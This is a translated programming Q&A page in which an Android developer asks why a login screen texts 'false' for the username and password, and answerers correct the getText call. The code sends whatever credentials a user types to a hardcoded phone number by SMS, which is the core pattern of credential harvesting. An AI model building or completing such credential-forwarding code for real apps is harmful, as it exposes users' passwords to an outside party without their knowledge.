为什么让文字返回false?

时间:2015-08-19 15:32:07

标签: android sms

我写这个是为了发送我的用户名和密码,但它返回false。为什么呢?

它已将此消息发送到我的手机:User:falsePass:false

我已尝试charcharSequensestring,...但它始终返回false

package com.example.project6;
import android.app.Activity;
import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.Toast;

@SuppressWarnings("deprecation")
public class Login extends Activity {
    private ImageView imageview;
    private EditText username;
    private EditText password;
    private Button save;
    private String user;
    private String pass;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
    // TODO Auto-generated method stub
    super.onCreate(savedInstanceState);
    setContentView(R.layout.login);
    init();

}

private void init() {
    // TODO Auto-generated method stub
    imageview = (ImageView)findViewById(R.id.imageview);
    username=((EditText)findViewById(R.id.username));
    password=((EditText)findViewById(R.id.password));
    save = (Button)findViewById(R.id.save);
    save.setOnClickListener(new OnClickListener() {
        @Override
        public void onClick(View arg0) {
            // TODO Auto-generated method stub
            user = getText(R.id.username).toString();
            pass = getText(R.id.password).toString();
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage("+989132249093", null, "User:"+user+"Pass:"+pass, null, null);
            Toast.makeText(Login.this,user, Toast.LENGTH_LONG).show();
            Toast.makeText(Login.this,pass, Toast.LENGTH_LONG).show();
            Toast.makeText(Login.this,"sent", Toast.LENGTH_LONG).show();
            }
        });
    }
}

请帮帮我 感谢

3 个答案:

答案 0 :(得分:1)

如果两个编辑文本在单击按钮时都不为空,则会在user中传递值并传递。

username=(EditText) findViewById(R.id.username);
password =(EditText) findViewById(R.id.password);
user = username.getText().toString();
pass = password.getText().toString();

答案 1 :(得分:0)

试试这个......

user = username.getText().toString();
pass = password.getText().toString();

getText(int resid) Return a localized, styled CharSequence from the application's package's default string table. 如果在strings.xml文件中声明了一个字符串,那么它将返回该字符串,否则返回false。

答案 2 :(得分:0)

你应该这样做

user = username.getText().toString();
pass = password.getText().toString();